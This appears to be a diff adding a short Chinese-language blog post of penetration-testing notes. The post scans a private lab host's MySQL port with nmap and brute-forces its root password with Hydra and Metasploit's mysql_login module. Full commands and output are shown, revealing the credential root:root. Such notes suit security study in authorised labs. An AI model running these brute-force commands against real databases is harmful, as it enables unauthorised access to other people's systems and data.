|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +title: hydra |
| 4 | +pid: 623 |
| 5 | +tags: [linux, kali] |
| 6 | +--- |
| 7 | + |
| 8 | + |
| 9 | +## mysql |
| 10 | + |
| 11 | + |
| 12 | + |
| 13 | +``` |
| 14 | +mysql -h 主机名称 -u 用户名 -p |
| 15 | +hydra -l 用户名 -P 密码字典路径 目标主机ip mysql |
| 16 | +
|
| 17 | +mysql -h 192.168.31.42 -u root -p |
| 18 | +
|
| 19 | +nmap -p 3306 192.168.31.0/24 |
| 20 | +``` |
| 21 | + |
| 22 | +``` |
| 23 | +Nmap scan report for WIN-T81MNRCRHJI (192.168.31.42) |
| 24 | +Host is up (0.071s latency). |
| 25 | +
|
| 26 | +PORT STATE SERVICE |
| 27 | +3306/tcp open mysql |
| 28 | +``` |
| 29 | + |
| 30 | +``` |
| 31 | +hydra -l root -P '/home/kali/password.txt' 192.168.31.42 mysql |
| 32 | +``` |
| 33 | + |
| 34 | +``` |
| 35 | +┌──(kali㉿kali)-[~] |
| 36 | +└─$ hydra -l root -P '/home/kali/password.txt' 192.168.31.42 mysql |
| 37 | +Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). |
| 38 | +
|
| 39 | +Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-07 01:48:16 |
| 40 | +[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) |
| 41 | +[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task |
| 42 | +[DATA] attacking mysql://192.168.31.42:3306/ |
| 43 | +[3306][mysql] host: 192.168.31.42 login: root password: root |
| 44 | +1 of 1 target successfully completed, 1 valid password found |
| 45 | +Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-07 01:48:19 |
| 46 | +
|
| 47 | +``` |
| 48 | + |
| 49 | + |
| 50 | + |
| 51 | +## Metasploit(MSF渗透) |
| 52 | + |
| 53 | +``` |
| 54 | +msfconsole |
| 55 | +use auxiliary/scanner/mysql/mysql_login |
| 56 | +show options |
| 57 | +
|
| 58 | +set rhosts 192.168.31.42 |
| 59 | +set rport 3306 |
| 60 | +set username root |
| 61 | +set pass_file /home/kali/password.txt |
| 62 | +run |
| 63 | +``` |
| 64 | + |
| 65 | +``` |
| 66 | +[+] 192.168.31.42:3306 - 192.168.31.42:3306 - Found remote MySQL version 5.5.40 |
| 67 | +[!] 192.168.31.42:3306 - No active DB -- Credential data will not be saved! |
| 68 | +[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: NO)) |
| 69 | +[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root:1212 (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: YES)) |
| 70 | +[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root:3424 (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: YES)) |
| 71 | +[+] 192.168.31.42:3306 - 192.168.31.42:3306 - Success: 'root:root' |
| 72 | +[*] 192.168.31.42:3306 - Scanned 1 of 1 hosts (100% complete) |
| 73 | +[*] Auxiliary module execution completed |
| 74 | +``` |
| 75 | + |
| 76 | + |
| 77 | + |
0 commit comments